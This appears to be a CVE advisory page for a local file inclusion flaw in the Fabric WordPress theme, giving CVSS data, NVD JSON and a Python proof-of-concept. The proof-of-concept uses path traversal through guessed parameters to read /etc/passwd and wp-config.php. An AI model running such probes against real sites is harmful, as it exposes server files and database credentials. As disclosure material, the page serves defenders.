Security Vulnerability Report
中文
CVE-2025-58941 CVSS 8.1 HIGH

CVE-2025-58941

Published: 2025-12-18 08:16:02
Last Modified: 2026-04-27 20:16:21

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Fabric fabric allows PHP Local File Inclusion.This issue affects Fabric: from n/a through <= 1.5.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:fabric:*:*:*:*:*:wordpress:*:* - VULNERABLE
Fabric Theme <= 1.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58941 PoC - WordPress Fabric Theme LFI # Target: WordPress site with Fabric theme <= 1.5.0 import requests import sys def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-58941""" # Common vulnerable parameters in WordPress themes vulnerable_paths = [ '/wp-content/themes/fabric/includes/', '/wp-content/themes/fabric/', ] # Target files to read target_files = [ '../../../../../../../../etc/passwd', '../../../../../../windows/system32/drivers/etc/hosts', '../wp-config.php', ] print(f"[*] Testing target: {target_url}") for path in vulnerable_paths: for file in target_files: # Try common parameter names params = [ ('file', file), ('page', file), ('template', file), ('load', file), ] for param_name, param_value in params: try: test_url = target_url + path response = requests.get(test_url, params={param_name: param_value}, timeout=10) # Check for successful file inclusion if 'root:' in response.text or 'localhost' in response.text: print(f"[+] VULNERABLE! Found LFI at: {test_url}?{param_name}={param_value}") print(f"[+] Response preview: {response.text[:200]}") return True except requests.exceptions.RequestException: continue print("[-] No vulnerability detected") return False if __name__ == '__main__': if len(sys.argv) > 1: target = sys.argv[1] else: target = input("Enter target URL: ") check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58941", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:01.710", "lastModified": "2026-04-27T20:16:21.167", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Fabric fabric allows PHP Local File Inclusion.This issue affects Fabric: from n/a through <= 1.5.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:fabric:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.5.0", "matchCriteriaId": "56A729CF-BEDC-4E38-937A-7EC3FB863F6F"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/fabric/vulnerability/wordpress-fabric-theme-1-5-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}